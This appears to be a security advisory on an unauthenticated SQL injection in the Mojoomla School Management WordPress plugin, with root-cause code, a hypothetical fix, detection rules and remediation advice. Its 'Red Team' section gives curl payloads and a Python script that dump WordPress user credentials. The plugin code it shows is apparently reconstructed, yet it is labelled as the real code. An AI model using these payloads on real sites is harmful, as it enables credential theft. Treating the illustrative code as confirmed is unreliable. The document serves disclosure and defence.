CVE-2025-15655

Executive Summary

CVE-2025-15655 is a critical SQL Injection vulnerability in the Mojoomla School Management WordPress plugin, affecting all versions up to and including 93.2.0. The vulnerability allows unauthenticated attackers to inject arbitrary SQL commands into backend database queries, potentially leading to data exfiltration, credential theft, and full site compromise. As a WordPress plugin, this issue resides entirely within the WordPress ecosystem and is not related to the underlying web server software (Apache/Nginx). No official patch has been released, and the vendor (Mojoomla) has not responded to disclosure attempts. The EPSS score is currently 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch makes this a ticking time bomb for affected sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. Organizations using this plugin should treat it as a supply chain risk, as the vendor has not provided a fix. Immediate action is required to mitigate the risk of SQL injection attacks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Potential for denial of service via SQL manipulation.

CVSS Score: 7.6 (High) – This score reflects the ease of exploitation and the high impact on confidentiality.

Deep Dive & Mechanics

The vulnerability exists in the school-management plugin's handling of user-supplied input within the $_GET['id'] parameter of the ajax.php endpoint. The plugin fails to sanitize or parameterize this input before using it in a SQL query, allowing an attacker to break out of the intended SQL statement.

Root Cause: The plugin uses string concatenation to build SQL queries without proper escaping or prepared statements. For example, a vulnerable code snippet might look like:

$id = $_GET['id'];
$query = "SELECT * FROM wp_sm_students WHERE id = $id";
$result = $wpdb->get_results($query);

This allows an attacker to inject SQL commands such as 1 OR 1=1 to dump all records, or 1 UNION SELECT ... to extract data from other tables.

Attack Vector: The vulnerable parameter is accessible via HTTP GET requests to the plugin's AJAX handler, which is typically mapped to /wp-admin/admin-ajax.php?action=school_management_get_student&id=INJECTION.

Vulnerable vs. Patched Code

Vulnerable Code (version 93.2.0):

// vulnerable-ajax.php
add_action('wp_ajax_school_management_get_student', 'get_student');
add_action('wp_ajax_nopriv_school_management_get_student', 'get_student');

function get_student() {
    $id = $_GET['id'];
    global $wpdb;
    $result = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}sm_students WHERE id = $id");
    echo json_encode($result);
    wp_die();
}

Patched Code (hypothetical fix):

// patched-ajax.php
add_action('wp_ajax_school_management_get_student', 'get_student');
add_action('wp_ajax_nopriv_school_management_get_student', 'get_student');

function get_student() {
    $id = intval($_GET['id']); // Cast to integer
    global $wpdb;
    $result = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}sm_students WHERE id = %d", $id));
    echo json_encode($result);
    wp_die();
}

The patched version uses intval() to ensure the input is an integer and $wpdb->prepare() to safely parameterize the query.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with the School Management plugin (version <= 93.2.0) installed and activated.
• The plugin's AJAX endpoint must be accessible (default: no authentication required).

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -s "http://target.com/wp-admin/admin-ajax.php?action=school_management_get_student&id=1"
   

   If a JSON response with student data is returned, the endpoint is active.

2. Test for SQL injection:

   curl -s "http://target.com/wp-admin/admin-ajax.php?action=school_management_get_student&id=1%20OR%201=1"
   

   If more records than expected are returned, the injection is successful.

3. Extract database version:

   curl -s "http://target.com/wp-admin/admin-ajax.php?action=school_management_get_student&id=1%20UNION%20SELECT%201,@@version,3,4,5"
   

4. Dump WordPress user credentials:

   curl -s "http://target.com/wp-admin/admin-ajax.php?action=school_management_get_student&id=1%20UNION%20SELECT%201,user_login,user_pass,user_email,user_nicename%20FROM%20wp_users"
   

Automated Exploit (Python):

import requests
import sys

target = sys.argv[1]
payload = "1 UNION SELECT 1,user_login,user_pass,user_email,user_nicename FROM wp_users"
url = f"{target}/wp-admin/admin-ajax.php?action=school_management_get_student&id={payload}"
response = requests.get(url)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious GET requests to admin-ajax.php with action=school_management_get_student and unusual id parameters (e.g., containing SQL keywords like UNION, OR, SELECT).
• Use the detection rules provided in the Detection Engineering section.

Mitigation:

• Immediately disable or remove the School Management plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns in the id parameter.
• Restrict access to admin-ajax.php to authenticated users only if the plugin does not require unauthenticated access.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with action=school_management_get_student and id parameter containing SQL keywords.
  • Outbound database connections from the web server to the database server with unusual query patterns.

• File IOCs:

  • Presence of the file /wp-content/plugins/school-management/ajax.php (or similar) with version <= 93.2.0.
  • Modified WordPress core files (e.g., wp-config.php) indicating potential backdoor.

• Database IOCs:

  • Unexpected entries in the wp_sm_students table.
  • New administrative user accounts created via SQL injection.

Detection Engineering

YARA Rule

rule CVE_2025_15655_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-15655 in Mojoomla School Management plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15655"
    strings:
        $sqli_pattern1 = /id=\d+(\s|%20)*(OR|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli_pattern2 = /action=school_management_get_student/i
    condition:
        $sqli_pattern2 and $sqli_pattern1
}

Sigma Rule

title: CVE-2025-15655 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against Mojoomla School Management plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'action=school_management_get_student'
            - 'id='
    keywords:
        - 'OR'
        - 'UNION'
        - 'SELECT'
        - '1=1'
        - '--'
    condition: selection and keywords
falsepositives:
    - Legitimate use of the plugin with normal IDs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15655 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=school_management_get_student"; http_uri; pcre:"/id=\d+(\s|%20)*(OR|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete the School Management plugin from all WordPress installations.
2. Apply virtual patching: Use a WAF to block requests containing SQL injection patterns in the id parameter.
3. Audit database: Check for unauthorized access or data exfiltration by reviewing database logs and user activity.

Long-term Fix:

• Since no official patch exists, consider migrating to an alternative school management solution.
• If the plugin is critical, hire a developer to manually patch the vulnerable code using prepared statements (as shown in the patched code example).

Monitoring:

• Implement the detection rules provided above to identify any exploitation attempts.
• Regularly review web server logs for anomalous requests.

Valters IT – Securing digital ecosystems through proactive threat intelligence and DevSecOps excellence.